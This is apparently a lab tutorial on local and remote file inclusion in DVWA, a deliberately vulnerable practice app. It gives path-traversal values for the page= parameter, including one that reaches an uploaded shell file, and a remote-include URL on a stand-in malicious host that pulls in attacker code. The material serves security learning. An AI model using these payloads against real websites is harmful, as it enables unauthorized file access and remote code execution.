[Day 9] 1. File Inclusion in DVWA

LFI (Local File Inclusion)

• Definition: LFI is a web vulnerability that occurs when an attacker can include local files (present on the same server) in the application's execution process.
• How it works: The vulnerability arises when the application uses user-supplied input to construct file paths without proper validation or sanitization.

Steps to test LFI:

1. In the Damn Vulnerable Web Application (DVWA):
   • Navigate to the File Inclusion section.
   • Click on any file to observe its name being displayed in the URL (e.g.,
     Copy

     file4.php

     ).
2. Try manipulating the
   Copy

   page=

   parameter in the URL by providing file paths:
   • Example 1:
     Copy

     ../../hackable/flags/fi.php

   • Example 2:
     Copy

     ../../hackable/uploads/ak47shell.php

These examples demonstrate LFI as they attempt to include files from the local server's directories.

RFI (Remote File Inclusion)

• Definition: RFI is a vulnerability that allows an attacker to include files hosted on external servers.
• How it works: If the application allows URLs or external file paths as input, the attacker can inject a URL pointing to a malicious script hosted elsewhere.

Steps to test RFI:

1. Identify parameters that accept file paths or URLs.
2. Replace them with a remote URL hosting a malicious file or script.

Example: If a parameter like

page=

http://malicious-site.com/malicious-file.php

Key Difference Between LFI and RFI

|Aspect|LFI (Local File Inclusion)|RFI (Remote File Inclusion)| |---|---|---| |File Location|Includes files from the server's local system.|Includes files from external, remote sources.| |Risk|Limited to the server's accessible directories.|Expands the attack surface to external threats.| |Examples|

../../file_path

http://example.com/malicious.php